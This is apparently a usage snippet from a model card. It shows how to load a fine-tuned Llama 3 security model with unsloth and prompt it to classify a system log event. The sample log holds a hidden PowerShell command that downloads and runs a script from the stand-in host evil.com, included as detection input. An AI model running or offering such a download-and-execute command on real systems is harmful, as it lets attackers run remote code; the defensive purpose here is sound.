Views
No views yet
unsloth library (recommended for speed) or standard transformers.1from unsloth import FastLanguageModel
2
3# 1. Load Model
4model, tokenizer = FastLanguageModel.from_pretrained(
5 model_name = "Duong2006/sentinel-llama3-8b",
6 max_seq_length = 2048,
7 dtype = None,
8 load_in_4bit = True,
9)
10FastLanguageModel.for_inference(model)
11
12# 2. Define Prompt Template
13alpaca_prompt = """Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request.
14
15### Instruction:
16{}
17
18### Input:
19{}
20
21### Response:
22{}"""
23
24# 3. Predict
25instruction = "Analyze the following system log event and classify the activity."
26input_log = "Process Name: powershell.exe\nCommand Line: powershell.exe -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('[http://evil.com/malware.ps1](http://evil.com/malware.ps1)')\nUser: DOMAIN\\Admin"
27
28inputs = tokenizer(
29[
30 alpaca_prompt.format(instruction, input_log, "")
31], return_tensors = "pt").to("cuda")
32
33outputs = model.generate(**inputs, max_new_tokens = 64, use_cache = True)
34print(tokenizer.batch_decode(outputs)[0])